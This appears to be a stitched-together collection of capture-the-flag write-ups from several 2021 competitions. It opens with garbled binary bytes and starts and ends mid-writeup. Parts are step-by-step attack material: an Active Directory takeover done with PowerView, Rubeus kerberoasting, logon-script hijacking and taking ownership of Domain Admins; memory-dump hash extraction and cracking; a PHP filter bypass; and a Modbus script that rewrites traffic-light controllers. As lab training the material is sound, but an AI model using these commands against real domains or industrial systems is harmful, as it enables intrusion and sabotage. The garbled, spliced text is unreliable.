K\xea\xacwD\xcf\xc1\xfe\xe6\xd5\xf9\xcaZ\xca\x9b\xf8j)az\xb8\xad\xd8\xd2\xba/\xfa2V.\x0c\xb6\xfd\x80t\xe7\xf0\xa8\xae\x1c\x9e\xcatJA\x87\xcdS\xf1e\xb8\x85L5D\xff\x03#\xeb\x19\x80\x1as\x01\xbe\xd7\xc8Z\x82\xe4\xf1\xc6\xe5\x97\xdcf\x18\xd9{\x01\x02Q\x06"\xc6\xe8R3\x17]\xab;\xbf\x805\xe3\x85s\xdf\x9f\rDa{\xdd\xbeG\xdf\xec\xc2_\xbaa\xbb\xa3\xd5q::::MAGIC::::\x03\x03\x03'c1cdfun_d2434``` `oliver:c1cdfun_d2434` #### Winrm to box ```./evil-winrm.rb -i 10.129.96.74 -u oliver -p c1cdfun_d2434``` ![](https://i.imgur.com/U3GOOdN.png) `HTB{c1_cd_c00k3d_up_1337!}` #### Bloodhound & Ad Graph After running bloodhound we can get the graph below, Oliver has `ForceChangePassword` permission over Smith.Smith has `GenericWrite` over Maria.Maria has `WriteOwner` over "Domain Admins" group. Pretty straight forward ![](https://i.imgur.com/3gl0gei.png) #### Abusing ForceChangePassword We need [PowerView.ps1](https://github.com/PowerShellMafia/PowerSploit/blob/master/Recon/PowerView.ps1) for necessary functions. ```upload /opt/PowerView.ps1Import-Module .\PowerView.ps1$UserPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -ForceSet-DomainUserPassword -Identity smith -AccountPassword $UserPassword``` ![](https://i.imgur.com/89holid.png) ![](https://i.imgur.com/hd8mjuF.png) #### Abusing GenericWrite To abuse GenericWrite, we have 2 options. One, we can set a service principal name and we can kerberoast that account. Two, we can set objects like logon script which would get executed on the next time account logs in. So I monitored the maria's ldap entry a while and as you can see that last time she logged in was when the box had started. She did not seem to be logging in, so the first option seems the correct choice right ? Let's kerberoast her account. ![](https://i.imgur.com/dwLJqEk.png) #### Kerberoasting It looks like krbtgt's account is kerberoastable too, I tried this one as well before, but the hash is not crackable. ![](https://i.imgur.com/D6goF2y.png) We can set a SPN like below,```Import-Module .\Powerview.ps1$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force$Cred = New-Object System.Management.Automation.PSCredential('object.local\smith', $SecPassword) Set-DomainObject -Credential $Cred -Identity maria -SET @{serviceprincipalname='foobar/xd'}``` It looks like it worked.![](https://i.imgur.com/egsmCip.png) Let's kerberoast it using rubeus.```.\rubeus.exe kerberoast /creduser:object.local\smith /credpassword:Password123!```![](https://i.imgur.com/iuF7iwL.png) We crack it and own maria you think right ? Jk lol lmao said htb. They actually set a script that executes maria's logon script regularly so maria doesn't really login but her script still gets executes. This made me lost so much time but it would be hard for them to develop that scenario so it's understandable. ![](https://i.imgur.com/EcjGShI.png) #### Setting the logon script We can set a logon script like below,```$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force$Cred = New-Object System.Management.Automation.PSCredential('object.local\smith', $SecPassword) cd C:\\Windows\\System32\\spool\\drivers\\colorecho 'whoami > C:\\Windows\\System32\\spool\\drivers\\color\\poc.txt' > foo.ps1 Set-DomainObject -Credential $Cred -Identity maria -SET @{scriptpath='C:\\Windows\\System32\\spool\\drivers\\color\\foo.ps1'}``` ![](https://i.imgur.com/GxQRYNS.png) After looking at maria's Desktop folder, there is an excel file named Engines.xls. Let's download it.![](https://i.imgur.com/TMCZMjH.png) And `Engines.xls` has the password for maria,![](https://i.imgur.com/OQQPGAZ.png) `maria:W3llcr4ft3d_4cls` #### Abusing WriteOwner We can change the ownership of "Domain Admins" group like below,```$SecPassword = ConvertTo-SecureString 'W3llcr4ft3d_4cls' -AsPlainText -Force;$Cred = New-Object System.Management.Automation.PSCredential('object.local\maria', $SecPassword) Set-DomainObjectOwner -Credential $Cred -Identity "Domain Admins" -OwnerIdentity maria``` Now the owner of the "Domain Admins" object is maria but we still can't add our users to "Domain Admins" group. We also need to give permission to that. We can check it using bloodhound as well and as you can see that we now own the "Domain Admins".![](https://i.imgur.com/tYqrH2C.png) Let's give all rights to maria```Add-DomainObjectAcl -TargetIdentity "Domain Admins" -PrincipalIdentity maria -Rights All -Verbosenet group "Domain Admins" maria /add``` ![](https://i.imgur.com/jOuYED0.png) Relogin to winrm and we can now read the root flag. ![](https://i.imgur.com/ADUCCUe.png) `HTB{br0k3n_4c3_4_d00r_t0_k1ngd0m}`
### Keep the steam activated In this challenge, we were provided a pcap file and were expected to investigate the traffic. On the first stream(20) we see a reverse shell interaction.![](https://i.imgur.com/GioWmlV.png) The attacker after getting reverse shell as user smith, executes commands to dump the `ntds.dit` and `SYSTEM`(stream 21) ![](https://i.imgur.com/g7X6ZoB.png) ![](https://i.imgur.com/EgB2Xls.png) On the following 23rd and 24th streams we see that base64 encoded files with certutil are getting transfered using netcat![](https://i.imgur.com/ioReYyP.png) ![](https://i.imgur.com/70CoLH6.png) ![](https://i.imgur.com/KjS5YiV.png) We can extract those and verify them using file command.![](https://i.imgur.com/gIaVytI.png) The attacker then starts a winrm session with administrator user. It is very obvious at this point that attacker dumped the hashes from the files obtained before and took over the administrator's account. We can also save this traffic to another pcap file so working on it later on would be easy![](https://i.imgur.com/Q6ZgvAP.png) Let's do the same thing with attacker. ![](https://i.imgur.com/ffNqZ3t.png) It looks like Administrator's password is empty so there is a high chance that the attacker used PTH.![](https://i.imgur.com/uRzSgeZ.png) I used [winrm_decrypt.py](https://gist.github.com/jborean93/d6ff5e87f8a9f5cb215cd49826523045#file-winrm_decrypt-py) to decrypt the traffic ```python3 winrm_decrypt.py --hash '8bb1f8635e5708eb95aedf142054fc95' winrm.pcap > stream.txt``` ![](https://i.imgur.com/IWEnXku.png) We can now grep base64 encoded `HTB{` in the traffic. ![](https://i.imgur.com/2OJFZnW.png) `HTB{n0th1ng_1s_tru3_3v3ryth1ng_1s_d3crypt3d}`
This post has writeups for the n1ctf 2021.## 1. Signin (web)1. In this challenge, we are given a link to a PHP website. The source code is as follows:```phplogpath:$name";}$check=preg_replace('/((\s)*(\n)+(\s)*)/i','',file_get_contents($path));if(is_file($check)){ echo "".file_get_contents($check)."";}```2. We have a hint saying that the flag is at the path "/flag". We have a 'path' variable that takes input from the POST request and we have a 'time' variable that takes input from the raw POST data only if the time variable in GET request is set. So we control the inputs in two places.3. There is a blacklist for the POST variable 'path'. It means that we cannot set 'path' to be '/flag'. Let's look at the other input variable 'time'. It takes as input the raw POST data of request and saves it in a file. That filename is returned back to the user.4. If the 'path' variable is not empty, it is passed to a blacklist filter, the contents of the file specified by 'path' are put through a regex, and finally this filtered data is assumed to be a file path. We read that file and send the contents to the user.5. So the solution is that we send '\/\f\l\a\g' as raw POST data to the 'time' variable. The backslashes stop the date function from parsing the input as a date. It will be saved as a file and that file location will be returned to us. We take that file location and pass it the 'path' variable in the POST request. The contents of '/flag' are returned to us. 6. Flag: n1ctf{bypass_date_1s_s000_eassssy}
# vault ```textAfter following a series of tips, you have arrived at your destination; a giant vault door. Water drips and steam hisses from the locking mechanism, as you examine the small display - "PLEASE SUPPLY PASSWORD". Below, a typewriter for you to input. You must study the mechanism hard - you might only have one shot...```[vault](https://heinen.dev/ctf/htb-uni-quals-2021/vault) ## reversing The first place to go is the main funtion! The binary is stripped but binary ninja is kinda enough to detect and rename it automatically, so all that is left is analyzing the function. ![main function; reads a string from "flag.txt" and checks each char against another char derived from some gross vtable](https://heinen.dev//ctf/htb-uni-quals-2021/vault_main.png) It's fairly straightforward for a stripped c++ binary. At the top it opens up an ifstream for flag.txt and then it reads it byte by byte. Each byte is compared against the output of some gross function pointer return and if any of those comparisons are wrong it will print "Incorrect credentials". All of the functions are just there in the binary if you wanted to reverse it manually but I do not. The thing is that every byte of the flag is in memory at some point so all you need to is feed it some placeholder flag and then extract each comparison byte. ## solve I solved it using Qiling. I provided it a fake file and hooked the comparison instruction to log the register the byte of the flag was stored in -- ecx. ```pythonfrom qiling import *from qiling.os.mapper import QlFsMappedObject class fake_flag(QlFsMappedObject): def read(self, size): return b"A" * 20 def fstat(self): # syscall fstat will ignore it if return -1 return -1 def close(self): return 0 compared = "" def log_ecx(ql): global compared compared += chr(ql.reg.ecx) ql = Qiling(["./vault"], rootfs="/home/sky/tools/qiling/examples/rootfs/x8664_linux", console=False) ql.add_fs_mapper('flag.txt', fake_flag()) ql.hook_address(log_ecx, 0x555555554000 + 0xc3a1) # rebase! ql.run() print(f"found flag = \"{compared}\"")``` ```text❯ python3 ./solve.pyIncorrect Credentials - Anti Intruder Sequence Activated...found flag = "HTB{vt4bl3s_4r3_c00l_huh}"```
## TLDR - Port 80 exposed a `git` repository- Downloading it revealed the AWS credentials and the use of lambda functions- The lambda function contains code with a JWT secret- You can forge the authentication cookie with the JWT secret to login into the port 5000 website- There is a Server Side Template Injection in the `/order` endpoint which gives you a shell and therefore the flag Full writeup: [https://radboudinstituteof.pwning.nl/posts/htbunictfquals2021/epsilon/](https://radboudinstituteof.pwning.nl/posts/htbunictfquals2021/epsilon/)
# Not So Complicated![Category](http://img.shields.io/badge/Category-Exploitation-orange?style=for-the-badge) ![Points](http://img.shields.io/badge/Points-10-brightgreen?style=for-the-badge) ## Details >Using the [memory dump file](https://tinyurl.com/wcekj3rt) from **Window Pains**, crack and submit Jimmie's password. >>Submit the flag as >>flag{cleartext_password}. --- Using Volatility3.... ```sudo python3 /opt/volatility3/vol.py -f physmemraw windows.hashdump``` ```Volatility 3 Framework 2.0.0Progress: 100.00 PDB scanning finished User rid lmhash nthash Administrator 500 aad3b435b51404eeaad3b435b51404ee 31d6cfe0d16ae931b73c59d7e0c089c0Guest 501 aad3b435b51404eeaad3b435b51404ee 31d6cfe0d16ae931b73c59d7e0c089c0DefaultAccount 503 aad3b435b51404eeaad3b435b51404ee 31d6cfe0d16ae931b73c59d7e0c089c0WDAGUtilityAccount 504 aad3b435b51404eeaad3b435b51404ee 0b51f04cf2a0d8f6f4469cd628a78776Jimmie 1001 aad3b435b51404eeaad3b435b51404ee 0d757ad173d2fc249ce19364fd64c8ecAdmin 1003 aad3b435b51404eeaad3b435b51404ee 29b0d58e146d70278c29dc70f74f1e5d``` Now we can try to crack Jimmie's password hash `0d757ad173d2fc249ce19364fd64c8ec` using hascat with mode 1000 (for NTLM Hashes). ```hashact -m 1000 "0d757ad173d2fc249ce19364fd64c8ec" --wordlist ./rockyou.txt``` ```Dictionary cache built:* Filename..: ./rockyou.txt* Passwords.: 14344391* Bytes.....: 139921497* Keyspace..: 14344384* Runtime...: 1 sec 0d757ad173d2fc249ce19364fd64c8ec:qwertyuiop Session..........: hashcatStatus...........: CrackedHash.Mode........: 1000 (NTLM)Hash.Target......: 0d757ad173d2fc249ce19364fd64c8ecTime.Started.....: Mon Oct 18 18:07:56 2021 (1 sec)Time.Estimated...: Mon Oct 18 18:07:57 2021 (0 secs)Kernel.Feature...: Pure KernelGuess.Base.......: File (./rockyou.txt)Guess.Queue......: 1/1 (100.00%)Speed.#1.........: 85991.9 kH/s (3.44ms) @ Accel:2048 Loops:1 Thr:32 Vec:1Recovered........: 1/1 (100.00%) DigestsProgress.........: 5373952/14344384 (37.46%)Rejected.........: 0/5373952 (0.00%)Restore.Point....: 0/14344384 (0.00%)Restore.Sub.#1...: Salt:0 Amplifier:0-1 Iteration:0-1Candidate.Engine.: Device GeneratorCandidates.#1....: 123456 -> morrisonREP!Hardware.Mon.#1..: Temp: 58c Fan: 0% Util: 30% Core: 515MHz Mem:1942MHz Bus:16 Started: Mon Oct 18 18:07:49 2021Stopped: Mon Oct 18 18:07:58 2021``` We can see here that it cracked the has as `0d757ad173d2fc249ce19364fd64c8ec:qwertyuiop` so the flag is; ## flag{qwertyuiop}
# The Vault ## tl;dr Binary that checks if the first argument given is the flag ## Analysis We run the file with different inputs, nothing seems to work: ![Run](img/run.png) Open the executable in IDA and head into the function called by main. We can see the following comparison: ![Compare](img/compare.png) The current byte gets moved to v8 and then a value is read into v0 from some weird global indexing that we're not gonna get into. Those values are then checked if they are the same and if not, the program exits. We won't mess with the indexing, just set a breakpoint right before the compare: ![ASM](img/asm.png) The value on var_22D is gonna be the one coming from the weird indexing. If we check this every iteration, we will get the flag byte by byte: ![Flag](img/flag1.png) And the next one... ![Flag](img/flag2.png) We use IDC function Byte to print out the value each iteration and F9 to continue the program so it is easier: ![IDC](img/idc.png) The final flag comes out as: HTB{vt4bl3s_4r3_c00l_huh}
# Insane Bolt ## tl;dr A game where we have to find the shortest path to the diamond without touching the mines, and do it 500 times ## Initial Execution Connecting to the server with netcat, we see the following: ![Instructions](img/instructions.png) The instructions are pretty clear. We get the board and we have to reach the diamond in the shortest path possible. We have to collect 500 diamonds so obviously we have to run this 500 times. Let's try the game out: ![First](img/first.png) We attempt to solve the first game: ![Second](img/second.png) And this will continue on for 500 times. Let's use python instead of writing this by hand: ```python# solve.pyfrom pwn import * # define emote hexsPLAYER = b'\xf0\x9f\xa4\x96'FIRE = b'\xf0\x9f\x94\xa5'MINE = b'\xe2\x98\xa0\xef\xb8\x8f'WRENCH = b'\xf0\x9f\x94\xa9'DIAMOND = b'\xf0\x9f\x92\x8e' conn = remote('167.172.51.245', '30766') print(conn.recvuntil('> ')) conn.send(b'2\n') diamonds = 0wrenches = 0 # run game loopwhile True: given = conn.recvuntil('> ') # parse game board game_parse = [] lines = given.split(b'\n') initX = 0 initY = 0 i = -1 j = 0 for l in lines: ll = '' line = [] emojis = l.split(b' ') j = 0 # parse emotes in current line for e in emojis: if e == FIRE: line.append('F') elif e == MINE: line.append('B') elif e == WRENCH: line.append('W') elif e == PLAYER: line.append('P') initX = j initY = i elif e == DIAMOND: line.append('D') else: j = j - 1 j = j + 1 game_parse.append(line) i = i + 1 # remove empty arrays game = [x for x in game_parse if x != []] for l in game: ll = '' for e in l: ll = ll + e + ' ' print(ll) sol = [] print('MaxX : ' + str(len(game[0])) + ' MaxY: ' + str(len(game))) # solve current board def solve(G, curX, curY, orig, path): # if out of bounds if curX < 0 or curX >= len(G[0]) or curY < 0 or curY >= len(G): return 9999 cur = G[curY][curX] # if stepping on fire or mine if cur == 'F' or cur == 'B': return 9999 # finally reached the diamond, exit recursion if cur == 'D': sol.append(path) return 0 left = 9999 right = 9999 down = 9999 # try right if orig != 'l': left = solve(G, curX - 1, curY, 'r', path + 'L') # try left if orig != 'r': right = solve(G, curX + 1, curY, 'l', path + 'R') # try down down = solve(G, curX, curY + 1, 'u', path + 'D') # return shortest path of above three return min(left, right, down) + 1 minpath = solve(game, initX, initY, 'u', '') print(sol) conn.sendline(sol[0]) diamonds = diamonds + 1 wrenches = wrenches + minpath if diamonds >= 500 and wrenches >= 5000: break print(conn.recvline()) print(conn.recvline()) conn.interactive()``` Hopefully the comments are self explanatory, but in short: 1. We parse the current game board2. We start at the player starting point3. For each block we are on, we recursively check all adjacent blocks4. If the block we are checking right now is either out of bounds or a mine/fire, we return 9999 to mark that path as very long4. Once the diamond is reached, we return 0 and compare all paths, returning the shortest5. Once the board is solved, send the solution and increase number of collected diamonds and wrenches6. Jump to 1 till we have atleast 500 diamonds and 5000 wrenches After solving 500 of them, we get the following: ![Flag](img/flag.png)
# [K3RN3L CTF 2021] BogoAttack ## tl;dr Find the order of a permutation of size $10^4$ stored in an arraywith an oracle that is able to get the contentsof a subset of indices of the array but randomly shuffles the contents before returning.There is a limit of $15$ queries.Solve by a divide and conquer/parallel binary search algorithm. ## Description misc/BogoAttack; 26 solves, 446 points Challenge author: `DrDoctor` Someone attacced by Bogo! I must seek revenge. Now is the time to attacc back! [main.py](https://flu.xxx/static/chall/lwsr_0c872acfc0b66f185a4968ac3198e067.zi://ctf.k3rn3l4rmy.com/kernelctf-distribution-challs/bogo-attack/main.py) ## First impressions of the problem This problem was actually first given as `Bogo Solve` where the query limit wasaccidentally not enforced. I didn't notice and solved this problem (and later only modified the portof the server in my solve script). I'll walk through my first thoughts on the problem assuming the limit wasactually enforced. We're given the following python script that's running on the server: ```pythonimport randomNUMS = list(range(10**4))random.shuffle(NUMS)tries = 15while True: try: n = int(input('Enter (1) to steal and (2) to guess: ')) if n == 1: if tries==0: print('You ran out of tries. Bye!') break l = map(int,input('Enter numbers to steal: ').split(' ')) output = [] for i in l: assert 0<= i < len(NUMS) output.append(NUMS[i]) random.shuffle(output) print('Stolen:',output) tries-=1 elif n == 2: l = list(map(int,input('What is the list: ').split(' '))) if l == NUMS: print(open('flag.txt','r').read()) break else: print('NOPE') break else: print('Not a choice.') except: print('Error. Nice Try...')``` I got pretty excited when I saw the question, as a former competitive programmer (or maybe I still am one?) and a computer science theory student.(So excited that I probably spent ten times longer writing this writeup than actually solving and coding a solution.)I immediately recognize this as an interactive competitive programming question. (This might have seen this exact one on [Codeforces](https://codeforces.com/) or[AtCoder](https://atcoder.jp/) but interactive problems are pretty rare, and my memory is fuzzy)The question can be summarized as follows: > Given a permutation of size $10^4$ in an array and access to the array> via an oracle > that is able to get the contents of a subset of indices of the array > but randomly shuffles the contents before returning.> Find the contents in at most $15$ queries. First we note that $15$ is more or less $\log_2(10^4)$, so we want to make logarithmically many queries. This suggests some sort of divide and conquer solution.But what exactly are we dividing here? ## A Divide and Conquer approach Let's think about what we can accomplish with one query.We can split the array down the middle and query all the indicesin the first half as pictured below. What does this give us? ![dc1](https://davidzheng.web.illinois.edu//assets/images/k3rn3lctf2021/bogoattack/DC1.png) The server would tell us which elements are in the first half,which (by simple deduction) would tell us the rest of the elementsare in the second half.Now we can treat these two halves of the array as two seperate problemsin and of themselves and do the same thing. ![dc2](https://davidzheng.web.illinois.edu//assets/images/k3rn3lctf2021/bogoattack/DC2.png) For each of these subproblems we can repeat again, and continue until we know exactly where every element is! ![dc3](https://davidzheng.web.illinois.edu//assets/images/k3rn3lctf2021/bogoattack/DC3.png) However, naively this would give us a lot of queries,in particular, if we let $Q(n)$ denote the number of queriesneeded to solve the problem on an array of size $n$, we essentially found the following recurrence: $ Q(n) = 2 Q(n/2) + 1 $ Unfortuantely this solves to $Q(n) = n$, which is no better thanquerying each position individually!We need one more idea to help us out.What if we send the queries for all our subproblems of the same size simultaneously? Since the elements involved in each subproblem form a partition of ouroriginal elements, it doesn't matter that we get the elements in a random order,we already **know** which elements are from each subproblem.This means we can solve the problem with the recurrence of: $ Q(n) = Q(n/2) + 1 = \lfloor \log_2 n \rfloor$ However, coding a solution like this seems complicated, how do we maintainall these subproblems? ## Another way of looking at things Let's take a step back and look at what we're learning from each we make.For simplicity, let's actually assume that we are working with a permutationof size $2^{14}$ elements ($16384$)instead of $10^4$ elements. We'll see why this makes things easier in a bit. Let's look at the first query to a problem: ![dc1](https://davidzheng.web.illinois.edu//assets/images/k3rn3lctf2021/bogoattack/DC1.png) Querying for which elements are in the first half of the array is essentially looking at what elements have the index of the first bitbe $0$. The rest of the numbers have first bit $1$.So a query can learn the most significant bit of the **positions** of all the numbers in the list! In fact, there was nothing special about chooosing the first half,the positions with most siginficant bit $0$.We could just as easilyhave chosen every position with a $0$ in the $k$th bit for some $1\le k \le 14$and learn that bit for every element in the permutation! So this suggests another algorithm, for each bit, learn the $k$th bit of every element for every $k$.If you examine this new algorithm closely, this would make the same queriesas the divide and conquer algorithm we had before! This is a fairly common phenomenon, when doing binary divide and conquer,we can instead view it in terms of the bits of the number and work with those for amuch simpler to code algorithm (this forms the basis of things like [segment trees](https://codeforces.com/blog/entry/18051)). We can view this as a form of parallel binary search, for every element ofthe permutation, we are findingits position in the list via binary search.Cleverly, we're able to do this for all elements at once! This is what I ended up coding:```pythonfrom pwn import * def read_until(s, delim=b'='): delim = bytes(delim, "ascii") buf = b'' while not buf.endswith(delim): buf += s.recv(1) print("[+] READING: ", buf) return buf sock = connect("ctf.k3rn3l4rmy.com", 2247) NUMS = [0]*(10**4)POS = [0]*(10**4) for i in range(14): inp = read_until(sock, ':') sock.sendline(b'1') inp = read_until(sock, ':') output = "" for j in range(10**4): if j>>i&1: output += str(j) + " " sock.sendline(output[:-1]) inp = read_until(sock, '[') inp = read_until(sock, ']')[:-1].split(b', ') nums = [int(x) for x in inp] for x in nums: POS[x]+=1<
* Use jp2a --output option to write a file into the ./request folder.* Use jp2a --chars option to set custom palette. * Generate image to encode arbitrary content.* Use written file to read content from /proc/self/environ.
tl;dr RSA with the following details:- `N = P**8 * Q * R`- `M` is divisible by P, thus **not** co-prime with `N`- `E` and `D` are usual RSA parameters: `E = 65537` and `E*D ≡ 1 (mod φ(N))`- `C = M**E (mod N)` is known- `D(C) = (M**E)**D (mod N)` is known as well `M = P**3 * X` and find `P` and `X` separately.
# All A-Loan De Monne has reason to believe that DEADFACE will target loans issued by employees in California. It only makes sense that they'll then target the city with the highest dollar value of loans issued. Which city in California has the most money in outstanding Small Business loans? Submit the city and dollar value as the flag in this format: `flag{City_$#,###.##}` Use the MySQL database dump from **Body Count** ## Query ```sqlSELECT em.city, SUM(lo.balance) AS highest_outstanding_loans FROM `loans` AS lo JOIN customers AS cu ON cu.cust_id = lo.cust_idJOIN employees AS em ON em.employee_id = lo.employee_idJOIN loan_types AS lt ON lt.loan_type_id = lo.loan_type_idWHERE em.state = 'CA' AND lt.loan_type_id = 3GROUP BY em.cityORDER BY highest_outstanding_loans DESC``` ## Flag `flag{Oakland_$90,600.00}`
# Analysis ## Introduction We are provided with an IP address. A website is hosted on the IP address: ![](https://i.imgur.com/IkLVtZf.png) The challenge description tells us that our aim is to set the lights in a way that allows the path to be followed. The backend returns the following: ```json{ "1": { "EG": 0, "ER": 1, "EY": 0, "NG": 1, "NR": 0, "NY": 0, "SG": 0, "SR": 1, "SY": 0, "WG": 0, "WR": 1, "WY": 0 }, "2": { "EG": 0, "ER": 0, "EY": 1, "NG": 0, "NR": 0, "NY": 1, "SG": 0, "SR": 1, "SY": 0, "WG": 0, "WR": 1, "WY": 0 }, "3": { "EG": 1, "ER": 0, "EY": 0, "NG": 0, "NR": 1, "NY": 0, "SG": 0, "SR": 1, "SY": 0, "WG": 0, "WR": 1, "WY": 0 }, "4": { "EG": 0, "ER": 1, "EY": 0, "NG": 0, "NR": 0, "NY": 1, "SG": 0, "SR": 1, "SY": 0, "WG": 0, "WR": 0, "WY": 1 }, "5": { "EG": 0, "ER": 1, "EY": 0, "NG": 1, "NR": 0, "NY": 0, "SG": 0, "SR": 1, "SY": 0, "WG": 0, "WR": 1, "WY": 0 }, "6": { "EG": 1, "ER": 0, "EY": 0, "NG": 0, "NR": 1, "NY": 0, "SG": 0, "SR": 1, "SY": 0, "WG": 0, "WR": 1, "WY": 0 }, "flag": "University CTF 2021"} ``` Which details the state of every light. ## Modbus An `nmap` scan of the IP reveals that port 502 is open. This port is used for Modbus communication. The `pymodbus` module provides a nice CLI and programming interface. Modbus allows you to read and write data on a number of units (devices). There are four types of data: | Name | Size | Operations || ---------------- | ------- | -------------- || Discrete Input | 1 bit | Read || Coil | 1 bit | Read and Write || Input Register | 16 bits | Read || Holding Register | 16 bits | Read and Write | The `pymodbus` CLI reveals that the provided server has 32 units, each with: - 2999 discrete inputs.- 2999 coils.- 99 input registers.- 99 holding registers. The holding registers for units 1-6 all start with the following data: ```json{ "registers": [ 97, 117, 116, 111, 95, 109, 111, 100, 101, 58, 116, 114, 117, 101, 0, 0, 0, 0, 0, 0 ]}``` This decodes to the ASCII `auto_mode:true`. We will probably need to change this to `auto_mode:false` in order to change the lights. It is not obvious where the light states are stored so we'll use `pymodbus` to dump all data that doesn't have the default value: ```pythonfor unit in range(32): for address, register in enumerate(client.read_holding_registers(0, 99, unit=unit).registers): if register != 0: print(f"hr {unit} {address} {register}") for unit in range(32): for address, register in enumerate(client.read_input_registers(0, 99, unit=unit).registers): if register != 1: print(f"ir {unit} {address} {register}") for unit in range(32): for address_base in range(0, 2999, 256): for address_index, coil in enumerate(client.read_coils(address_base, min(256, 2999 - address_base), unit=unit).bits[:min(256, 2999 - address_base)]): if coil != False: print(f"c {unit} {address_base + address_index} {coil}") for unit in range(32): for address_base in range(0, 2999, 256): for address_index, coil in enumerate(client.read_discrete_inputs(address_base, min(256, 2999 - address_base), unit=unit).bits[:min(256, 2999 - address_base)]): if coil != True: print(f"di {unit} {address_base + address_index} {coil}")``` The script can be found at the bottom of the page. Running the script reveals the `auto_mode` holding registers as we would expect but also some coils at odd addresses: ```plainc 1 571 Truec 1 576 Truec 1 579 Truec 1 582 Truec 2 1921 Truec 2 1924 Truec 2 1928 Truec 2 1931 Truec 3 531 Truec 3 532 Truec 3 537 Truec 3 540 Truec 4 1267 Truec 4 1271 Truec 4 1274 Truec 4 1276 Truec 5 925 Truec 5 930 Truec 5 933 Truec 5 936 Truec 6 888 Truec 6 889 Truec 6 894 Truec 6 897 True``` There are four `True` values for each unit, probably relating to the four lights for each junction. By comparing these results to the API response we can work out that the data layout is: ```plainData layout:ngnynregeyersgsysrwgwywr``` And that the base address for each unit (junction) is: ```plainBases (unit, base):1 5712 19203 5294 12665 9256 886``` This is all the information we need to solve the challenge. # Solution We'll start by adding the base addresses and offsets: ```pythonbases = { 1: 571, 2: 1920, 3: 529, 4: 1266, 5: 925, 6: 886} direction_offsets = { "n": 0, "e": 3, "s": 6, "w": 9} colour_offsets = { "g": 0, "y": 1, "r": 2}``` We'll also add the direction that should be green for the junctions: ```pythondirections = { 1: "w", 2: "n", 4: "w", 6: "w"}``` Now let's loop through every unit. We'll start by setting the `auto_mode` to `false`: ```pythonfor unit in range(1, 7): print(client.write_registers(0, b"auto_mode:false".ljust(99, b"\x00"), unit=unit))``` Then we'll work out the coil data that needs to be written so that the lights we specify turn green and the others turn red: ```python write = [False] * 12 if unit in directions: not_red = directions[unit] for direction in not_red: write[direction_offsets[direction] + colour_offsets["g"]] = True else: not_red = "" for direction, direction_offset in direction_offsets.items(): if direction not in not_red: write[direction_offset + colour_offsets["r"]] = True``` Finally we will write to the coils: ```python print(client.write_coils(bases[unit], write, unit=unit))``` Running the script causes the flag to appear on the website. The full script can be found at the bottom of the page. # Scripts ## `dump_odd.py` ```pythonfrom pymodbus.client.sync import ModbusTcpClient client = ModbusTcpClient("10.129.228.198") for unit in range(32): for address, register in enumerate(client.read_holding_registers(0, 99, unit=unit).registers): if register != 0: print(f"hr {unit} {address} {register}") for unit in range(32): for address, register in enumerate(client.read_input_registers(0, 99, unit=unit).registers): if register != 1: print(f"ir {unit} {address} {register}") for unit in range(32): for address_base in range(0, 2999, 256): for address_index, coil in enumerate(client.read_coils(address_base, min(256, 2999 - address_base), unit=unit).bits[:min(256, 2999 - address_base)]): if coil != False: print(f"c {unit} {address_base + address_index} {coil}") for unit in range(32): for address_base in range(0, 2999, 256): for address_index, coil in enumerate(client.read_discrete_inputs(address_base, min(256, 2999 - address_base), unit=unit).bits[:min(256, 2999 - address_base)]): if coil != True: print(f"di {unit} {address_base + address_index} {coil}")``` ## `solve.py` ```pythonfrom pymodbus.client.sync import ModbusTcpClient client = ModbusTcpClient("10.129.228.198") bases = { 1: 571, 2: 1920, 3: 529, 4: 1266, 5: 925, 6: 886} direction_offsets = { "n": 0, "e": 3, "s": 6, "w": 9} colour_offsets = { "g": 0, "y": 1, "r": 2} directions = { 1: "w", 2: "n", 4: "w", 6: "w"} for unit in range(1, 7): print(client.write_registers(0, b"auto_mode:false".ljust(99, b"\x00"), unit=unit)) write = [False] * 12 if unit in directions: not_red = directions[unit] for direction in not_red: write[direction_offsets[direction] + colour_offsets["g"]] = True else: not_red = "" for direction, direction_offset in direction_offsets.items(): if direction not in not_red: write[direction_offset + colour_offsets["r"]] = True print(client.write_coils(bases[unit], write, unit=unit))```
# A Warning | Traffic Analysis[Original writeup](https://github.com/TheArchPirate/ctf-writeups/blob/main/DEADFACE/traffic-analysis/a-warning.md) ## Desciption- - -Luciafer is being watched! Someone on the inside of Lytton Labs can see what she is doing and is sending her a message. One of them says: "Stay away from Lytton Labs... you have been warned." To find the flag, find the message. You'll know it when you see it. Submit the flag as flag{flag-goes-here}. ## Location of PCAP- - -You can find a copy of this pcap in my writeups repository. If you would like a copy, please go to: ctf-writeups/DEADFACE/files/PCAP/pcap-challenge-final.pcapng ## Solution- - -We know that a warning message has been left. We can find refernces to a .txt file and a .jpg file when serching for the string "warning". Searching for the flag in the .txt file resulted in nothing. The image is being sent over HTTP so we will extract it. Go to File > Extract Objects > HTTP. We will then find out warning message. ![](https://raw.githubusercontent.com/TheArchPirate/ctf-writeups/main/DEADFACE/images/warning-image.png) We can save this file and view it.![](https://raw.githubusercontent.com/TheArchPirate/ctf-writeups/main/DEADFACE/images/da-warning-message.jpg) We have the warning and the flag now. ## Flag- - -flag{angels-fear-to-tread}
# Arachnoid Heaven ## tl;dr C program that alocates and deletes objects with a dangling pointer vulnerability that allows for value modification ## Initial Execution We connect to the server with netcat for some initial analysis. We can see that we can create, delete, view or obtain arachnoids. We create and view one: ![Craft](img/craft_live.png) However, we try to delete the one we just made and then view it: ![Dangling](img/dangling.png) We have a pretty obvious dangling pointer here. We deleted the arachnoid, the strings were freed, but for some reason the actual arachnoid object is still there... Let's analyze in IDA: ## Analysis ![Craft](img/craft.png) Crafting is pretty straight forward. We allocated space for 2 pointers, then allocate those 2 pointers to point to two strings, the first being the name and the second one being the code. We see that the code is set to "bad" by default. Let's move on to delete: ![Delete](img/delete.png) We see that we free the 2 strings, but we don't actually free the area containing the strings or atleast reduce the arachnoid count by 1, so the object remains there cointaining two freed (dangling) pointers. Let's move to obtain: ![Obtain](img/obtain.png) We see that we can get the flag if we make one of the arachnoids contain the code "sp1d3y". The exploit is pretty clear here, let's explain it: ## Exploit Let's take a dive into some C theory first: When malloc is called, the C memory manager looks into what we call the "free list" first. This list contains previously allocated parts of memory using malloc that have now been freed. This way, those parts can be "recycled" into the new ones we need, if they're the same size ofcourse. Let's assume that we have created an arachnoid. We then delete that arachnoid. With the deletion the following free's are called: 